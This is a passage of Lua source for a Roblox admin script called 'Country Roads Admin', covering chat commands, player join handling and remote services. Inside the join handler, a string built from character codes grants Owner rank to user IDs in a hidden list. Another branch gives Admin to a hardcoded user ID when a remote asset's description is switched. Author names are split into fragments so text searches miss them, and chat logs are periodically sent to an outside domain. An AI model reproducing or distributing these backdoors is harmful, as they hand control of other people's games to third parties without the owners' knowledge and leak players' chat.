8239 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8240 local Players = STRING:Scan(Arguments[1], Speaker)
8241 for _,Player in pairs(Players) do
8242 KeyBinds[Player.UserId] = {}
8243 GUI:SendHint(Player, "Unbinded all keys")
8244 end
8245 end};
8246
8247 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8248 local Players = STRING:Scan(Arguments[1], Speaker)
8249 local Binds = {}
8250 for _,Player in pairs(Players) do
8251 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8252 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8253 end
8254 end
8255 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8256 end};
8257
8258 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8259 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8260 local Players = STRING:Scan(ChatSplit[1], Speaker)
8261 for _,Player in pairs(Players) do
8262 if Crowns[Player.UserId] then
8263 Crowns[Player.UserId]:Destroy()
8264 Crowns[Player.UserId] = nil
8265 wait()
8266 end
8267 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8268 end
8269 end};
8270
8271 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8272 local Players = STRING:Scan(Arguments[1], Speaker)
8273 for _,Player in pairs(Players) do
8274 if Crowns[Player.UserId] then
8275 Crowns[Player.UserId]:Destroy()
8276 Crowns[Player.UserId] = nil
8277 end
8278 end
8279 end};
8280
8281 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8282 local MeshList = {}
8283 for MeshName,Data in pairs(Meshes) do
8284 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8285 end
8286 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8287 end};
8288
8289 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8290 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8291 end};
8292
8293 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8294 local Players = STRING:Scan(Arguments[1], Speaker)
8295 for _,Player in pairs(Players) do
8296 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8297 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8298 Player:ClearCharacterAppearance()
8299 CORE:GivePackage(Player, 41851073)
8300 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8301 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8302 end
8303 end
8304 end};
8305
8306 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8307 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8308 local Players = STRING:Scan(Arguments[1], Speaker)
8309 for _,Player in pairs(Players) do
8310 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8311 local Car = CORE:Insert(10479801, Server.Workspace, true)
8312 local Body = Car["Motor (torque)Chassis"].Part
8313 Cars[Player.UserId] = Car
8314 Car:MakeJoints()
8315 Car.VehicleSeat.MaxSpeed = 50
8316 Car.VehicleSeat.TurnSpeed = 1.5
8317 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8318 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8319 Body.Color = GUI:GetColor(Arguments[2])
8320 else
8321 Body.BrickColor = GUI:GetNameColor(Player.Name)
8322 end
8323 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8324 if Part.Name ~= "Part" then
8325 Part.BrickColor = BrickColor.new("Really black")
8326 Part.Friction = 0.7
8327 end
8328 end
8329 local Light = Instance.new("SpotLight", Body)
8330 Light.Face = "Back"
8331 Light.Brightness = 5
8332 Light.Range = 20
8333 Light.Color = Color3.new(0,1,1)
8334 if Player.Character and Player.Character.Torso then
8335 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8336 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8337 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8338 Weld.Part0 = Car.VehicleSeat
8339 Weld.Part1 = Player.Character.Torso
8340 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8341 Delay(0.4, function()
8342 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8343 wait(0.1)
8344 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8345 end)
8346 end
8347 local SoundID = 147944604
8348 if RANK:GetRank(Player) == "Owner" then
8349 SoundID = 133313356
8350 Car.VehicleSeat.MaxSpeed = 80
8351 Body.Material = "DiamondPlate"
8352 Car.VehicleSeat.Torque = 11
8353 end
8354 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8355 Engine:Play()
8356 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8357 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8358 end if Engine then Engine:Stop() end end)()
8359 end
8360 end};
8361
8362 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8363 local Players = STRING:Scan(Arguments[1], Speaker)
8364 for _,Player in pairs(Players) do
8365 if Cars[Player.UserId] then
8366 Cars[Player.UserId]:Destroy()
8367 end
8368 end
8369 end};
8370
8371 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8372 for _,Car in pairs(Cars) do
8373 Car:Destroy()
8374 end
8375 Cars = {}
8376 end};
8377
8378 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8379 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8380 if #Trello.RequiredLists > 0 then
8381 print("Restarting Trello")
8382 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8383 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8384 REMOTE:TrelloCacheData(Lists)
8385 end
8386 end, Http = true};
8387
8388 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8389 local Operations = {}
8390 for _,ReplaceData in pairs(StringReplacements) do
8391 table.insert(Operations, "Replacement: "..ReplaceData[1].." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8392 end
8393 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8394 end};
8395 --
8396}
8397
8398if Plugins then
8399 local PluginNum = 0
8400 for _,Module in pairs(Plugins:GetChildren()) do
8401 if Module:IsA("ModuleScript") then
8402 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8403 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8404 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8405 if Enabled.Value == true then
8406 PluginNum = PluginNum + 1
8407 local PluginExe = require(Module)
8408 for Var,Val in pairs(getfenv()) do
8409 getfenv(PluginExe)[Var] = Val
8410 end
8411 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8412 getfenv(PluginExe).script = Module
8413 getfenv(PluginExe).Script = Module
8414 getfenv(PluginExe).Version = Version
8415 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8416 if not Suc then
8417 Server.TestS:Error("Country Roads Admin Plugin; "..CORE:HandleError(Error), Module)
8418 else
8419 Server.TestS:Message("Executed Country Roads Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8420 end
8421 end
8422 end
8423 end
8424end
8425
8426function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8427 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8428 GUI:SettingsGui(Speaker)
8429 return nil
8430 end
8431 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8432 local Prefix = Settings.Prefix
8433 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8434 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8435 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8436 if Speaker == nil then
8437 if FakeRank then
8438 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8439 FakeRank = "Owner"
8440 end
8441 else
8442 FakeRank = "Owner"
8443 end
8444 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8445 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8446 Speaker = {
8447 Name = FakePlayerName or "[ Server ]";
8448 Character = nil;
8449 userId = 1;
8450 PlayerGui = nil;
8451 Rank = FakeRank or "Owner";
8452 MakeSupremeOwner = MakeSupremeOwner;
8453 }
8454 end
8455 local Rank = RANK:GetRank(Speaker)
8456 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8457
8458 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8459 if NoPrefixNeeded then Prefix = "" end
8460 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8461
8462 for _,Message in pairs(Messages) do
8463 for Cmds,Data in pairs(Commands) do -- check all commands
8464 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8465
8466 if not MessageSplit then break end
8467
8468 local CommandSaid = false
8469 for _,Command in pairs(Cmds) do
8470 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8471 CommandSaid = true
8472 break
8473 end
8474 end
8475 if CommandSaid == true then -- command said?
8476 local ExecuteExcuse = ""
8477 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8478 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8479 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8480 end
8481 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8482 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8483 end
8484 else
8485 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8486 end
8487 if ExecuteExcuse == "" then
8488 if #MessageSplit - 1 < Data[3] then
8489 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8490 end
8491 end
8492 if ExecuteExcuse == "" then
8493 CORE:Log(CommandLogs, Speaker, Message)
8494 table.remove(MessageSplit, 1)
8495 coroutine.wrap(function() wait()
8496 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8497 if not DidExe then
8498 if CORE:NilPlayer(Speaker) then
8499 print("Error: "..Error)
8500 else
8501 CORE:HandleError(Error, Speaker)
8502 end
8503 end
8504 end)()
8505 coroutine.wrap(function() wait(0.05)
8506 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8507 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8508 ExeSound:Play()
8509 wait(3)
8510 ExeSound:Stop()
8511 ExeSound:Destroy()
8512 end
8513 end)()
8514 elseif type(Speaker) == "userdata" then
8515 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8516 end
8517 break
8518 end
8519 end
8520 end
8521 end
8522end
8523
8524function CORE:Start(Player) coroutine.wrap(function()
8525 wait(0.1)
8526 if Player then
8527 coroutine.wrap(function()
8528 repeat wait(1) until DataReady == true
8529 DataReady = false
8530 ypcall(function()
8531 local Players = Server.Data:GetDataStore("Country Roads Admin"):GetAsync("Players")
8532 for Num,Data in pairs(Players) do
8533 if Data.UserId == Player.UserId then -- ppl can change names
8534 table.remove(Players, Num)
8535 break
8536 end
8537 end
8538 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8539 Server.Data:GetDataStore("Country Roads Admin"):SetAsync("Players", Players)
8540 end)
8541 DataReady = true
8542 end)()
8543
8544 if not IsStudio then Player:WaitForDataReady() end
8545 table.insert(CharacterCache, {Player.Name, Player.UserId})
8546 for Rank,PlayerNames in pairs(Settings.Ranks) do
8547 for Num,AdminName in pairs(PlayerNames) do
8548 if AdminName == Player.UserId then
8549 Settings.Ranks[Rank][Num] = Player.Name
8550 end
8551 end
8552 end
8553 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8554 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8555 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8556 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8557 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8558 if PlayerAdmin == false and Player.UserId > 0 then
8559 local Ran = nil
8560 coroutine.wrap(function() repeat
8561 Ran = ypcall(function()
8562 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8563 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8564 end)
8565 wait(1)
8566 until Ran == true end)()
8567 end
8568 if PlayerAdmin == false then
8569 if Player:IsInGroup(Settings.GroupID) then
8570 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8571 CORE:Kick(Player)
8572 for _,Person in pairs(Server.Players:GetPlayers()) do
8573 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8574 end
8575 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8576 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8577 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8578 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8579 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8580 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8581 end
8582 end
8583 end
8584 if PlayerAdmin == false then
8585 if Player.UserId == 38882008 then
8586 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8587 table.insert(Settings.Ranks["Admin"], Player.Name)
8588 end
8589 end
8590 end
8591 if PlayerAdmin == false then
8592 for _,GID in pairs(Settings.BannedGroupIDs) do
8593 if Player:IsInGroup(GID) then
8594 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8595 break
8596 end
8597 end
8598 end
8599
8600 Player.Chatted:connect(function(Message) if Message ~= "" then
8601 CORE:Chatted(Message, Player)
8602 end end)
8603
8604 Player.Chatted:connect(function(Message) if Message ~= "" then
8605 CORE:Log(ChatLogs, Player, Message)
8606 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8607 end end)
8608
8609 for _,Name in pairs(Settings.Ranks.Banned) do
8610 if Player.Name == Name then
8611 CORE:Kick(Player)
8612 for _,Person in pairs(Server.Players:GetPlayers()) do
8613 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
8614 end
8615 end
8616 end
8617 for _,Name in pairs(Settings.Ranks.Crashed) do
8618 if Player.Name == Name then
8619 CORE:Crash(Player)
8620 for _,Person in pairs(Server.Players:GetPlayers()) do
8621 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
8622 end
8623 end
8624 end
8625 for _,Name in pairs(Settings.Ranks.Muted) do
8626 if Player.Name == Name then
8627 GUI:CoreGui(Player, "Chat", false)
8628 for _,Person in pairs(Server.Players:GetPlayers()) do
8629 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
8630 end
8631 end
8632 end
8633 if Settings.ServerLocked == true then
8634 if PlayerAdmin == false then
8635 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
8636 end
8637 end
8638
8639 if PlayerAdmin == false then
8640 if Player.AccountAge < Settings.MinimumAge then
8641 CORE:Kick(Player, "You have been kicked by Country Roads Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
8642 for _,Person in pairs(Server.Players:GetPlayers()) do
8643 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
8644 end
8645 end
8646 end
8647
8648 if PlayerAdmin == false then
8649 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
8650 table.insert(Settings.Ranks["Member"], Player.Name)
8651 PlayerAdmin = true
8652 Rank = "Member"
8653 end
8654 end
8655
8656 coroutine.wrap(function()
8657 if PlayerAdmin == true then GUI:TellAdmin(Player) end
8658 local function SpawnActions(Character)
8659 if Flings[Player.Name] then
8660 CORE:FlingPlayer(Player)
8661 else
8662 GUI:CreateTaskBar(Player)
8663 end
8664 if Beeps[Player.Name] == true then
8665 SOUND:BeepPlayer(Player)
8666 end
8667 if Jails[Player.Name] then
8668 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
8669 end
8670 if PermCommandBars[Player.Name] then
8671 GUI:CommandBar(Player)
8672 end
8673 end
8674 Player.CharacterAdded:connect(SpawnActions)
8675 SpawnActions(Player.Character)
8676 end)()
8677
8678 coroutine.wrap(function()
8679 Player:WaitForChild("PlayerGui")
8680 local Sounds = {}
8681 for _,Data in pairs(TextConverter.LetterSounds) do
8682 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8683 Sound:Play()
8684 table.insert(Sounds, Sound)
8685 end
8686 for _,Data in pairs(TextConverter.LongVowels) do
8687 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8688 Sound:Play()
8689 table.insert(Sounds, Sound)
8690 end
8691 wait(5)
8692 for _,Sound in pairs(Sounds) do
8693 Sound:Destroy()
8694 end
8695 Sounds = {}
8696 end)()
8697
8698 coroutine.wrap(function()
8699 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
8700 if IsSB then
8701 wait(1)
8702 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
8703 end
8704 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
8705 print("Executed ClientLog on "..Player.Name)
8706 if Settings.EnableTaskBar then
8707 GUI:SendChat(Player, "This place uses Country Roads Admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
8708 end
8709 end)()
8710
8711 coroutine.wrap(function()
8712 wait(7)
8713 Player:WaitForChild("PlayerGui")
8714 if not nil == nil then
8715 local Answer = GUI:PromptMessageWithButtons(Player, "Mountain Mamma Announcement", AdminInfo, "Admin", {"Ok", "No thanks"})
8716 if Answer == "Ok" then
8717 MARKET:PromptPurchase(Player, AdminID)
8718 end
8719 end
8720 end)()
8721 end
8722end)() end
8723
8724-- Active stuff --
8725
8726CORE:UpdateAdmin()
8727CORE:FixSettings()
8728
8729ypcall(function()
8730 if not Server.Data:GetDataStore("Country Roads Admin"):GetAsync("Players") then
8731 Server.Data:GetDataStore("Country Roads Admin"):SetAsync("Players", {})
8732 end
8733end)
8734
8735
8736Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
8737 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8738 if PlayerAdmin == false then
8739 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
8740 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
8741 end
8742end end)
8743
8744--[[
8745ExecuteCommand.OnInvoke = function(Player, Command)
8746 if Player and Command then
8747 if type(Player) == "userdata" and Player:IsA("Player") then
8748 CORE:Chatted(Command, Player, true)
8749 end
8750 end
8751end
8752
8753ExecuteCode.OnInvoke = function(Source, Speaker)
8754 if type(Source) == "string" then
8755 ExecuteSafe(Source, Speaker)
8756 end
8757end
8758
8759ExecuteCommandClient.OnServerInvoke = function(Player, Command)
8760 if Player and Command then
8761 if type(Player) == "userdata" and Player:IsA("Player") then
8762 CORE:Chatted(Command, Player, true)
8763 end
8764 end
8765end
8766]]
8767
8768KeyPressed.OnServerInvoke = function(Player, Key)
8769 if Player and Key then
8770 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
8771 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
8772 end
8773 end
8774end
8775
8776InputKey.OnServerInvoke = function(Player, KeyVal)
8777 if Player and KeyVal then
8778 if LastKeys[Player.UserId] then
8779 table.insert(LastKeys[Player.UserId], KeyVal)
8780 if #LastKeys[Player.UserId] > 20 then
8781 table.remove(LastKeys[Player.UserId], 1)
8782 end
8783 end
8784 end
8785end
8786
8787RankPlayerLocal.OnServerInvoke = function(Player)
8788 wait()
8789 local Request = PendingRequests[Player]
8790 if Request then
8791 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
8792 if Settings.Ranks[Request[1]] then
8793 PendingRequests[Player] = nil
8794 table.insert(Settings.Ranks[Request[1]], Player.Name)
8795 GUI:TellAdmin(Player)
8796 end
8797 end
8798 end
8799end
8800
8801RankPlayerServer.OnInvoke = function(Player, Rank)
8802 if not RANK:IsAdmin(Player) then
8803 PendingRequests[Player] = {Rank, tick()}
8804 end
8805end
8806
8807IsAdmin.OnServerInvoke = function(Player)
8808 local IsFullAdmin = false
8809 for _,PName in pairs(Settings.Ranks["Owner"]) do
8810 if PName == Player.Name then IsFullAdmin = true end
8811 end
8812 for _,PName in pairs(Settings.Ranks["Admin"]) do
8813 if PName == Player.Name then IsFullAdmin = true end
8814 end
8815 return IsFullAdmin
8816end
8817
8818AddExploit.OnServerInvoke = CORE.AddExploit
8819AddExploitServer.OnInvoke = CORE.AddExploit
8820
8821KickClient.OnServerInvoke = function(PlayerClient)
8822 PlayerClient:Kick()
8823end
8824
8825ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
8826 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
8827end
8828
8829for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
8830Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
8831Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
8832
8833coroutine.wrap(function()
8834 for _,ID in pairs(Icons) do
8835 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
8836 end
8837end)()
8838
8839CORE:SetAbuseCommands()
8840
8841coroutine.wrap(function() SOUND:SyncSoundList() end)()
8842if not IsStudio then coroutine.wrap(function()
8843 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
8844 REMOTE:GetRemoteData(true)
8845 coroutine.wrap(function()
8846 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
8847 REMOTE.RemoteConnection = true
8848 end
8849 end)()
8850 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
8851 coroutine.wrap(function()
8852 if Settings.LinkedAccount ~= "" then
8853 local Request = nil
8854 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
8855 if Request then
8856 REMOTE:HandleRequest(Request, true)
8857 end
8858 end
8859 end)()
8860 coroutine.wrap(function()
8861 wait(RemoteData.RemoteAdminWait)
8862 while REMOTE:GetAndSetWebData() do
8863 wait(RemoteData.RemoteAdminWait)
8864 end
8865 end)()
8866 coroutine.wrap(function()
8867 while wait(60) do
8868 REMOTE:GetRemoteData(true)
8869 end
8870 end)()
8871end)() end
8872coroutine.wrap(function()
8873 if Settings.TrelloToken ~= "" then
8874 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8875 if #Trello.RequiredLists > 0 then
8876 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8877 if Trello.MainBoard.name then
8878 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8879 REMOTE:TrelloCacheData(Lists)
8880 REMOTE:TrelloHandleData(true)
8881 coroutine.wrap(function()
8882 wait(RemoteData.TrelloWait)
8883 while REMOTE:TrelloHandleData() do
8884 wait(RemoteData.TrelloWait)
8885 end
8886 end)()
8887 end
8888 end
8889 else
8890 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
8891 end
8892end)()
8893coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
8894 REMOTE:SendChatLog()
8895end end)()
8896coroutine.wrap(function() while true do
8897 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
8898 if ThisDate then Date = ThisDate end
8899 wait(600)
8900end end)()
8901
8902print("Country Roads Admin has loaded. be gone now")
8903GUI:CommandBar(_G.themainplr)
8904PermCommandBars[_G.themainplr.Name] = true
8905--wait'10'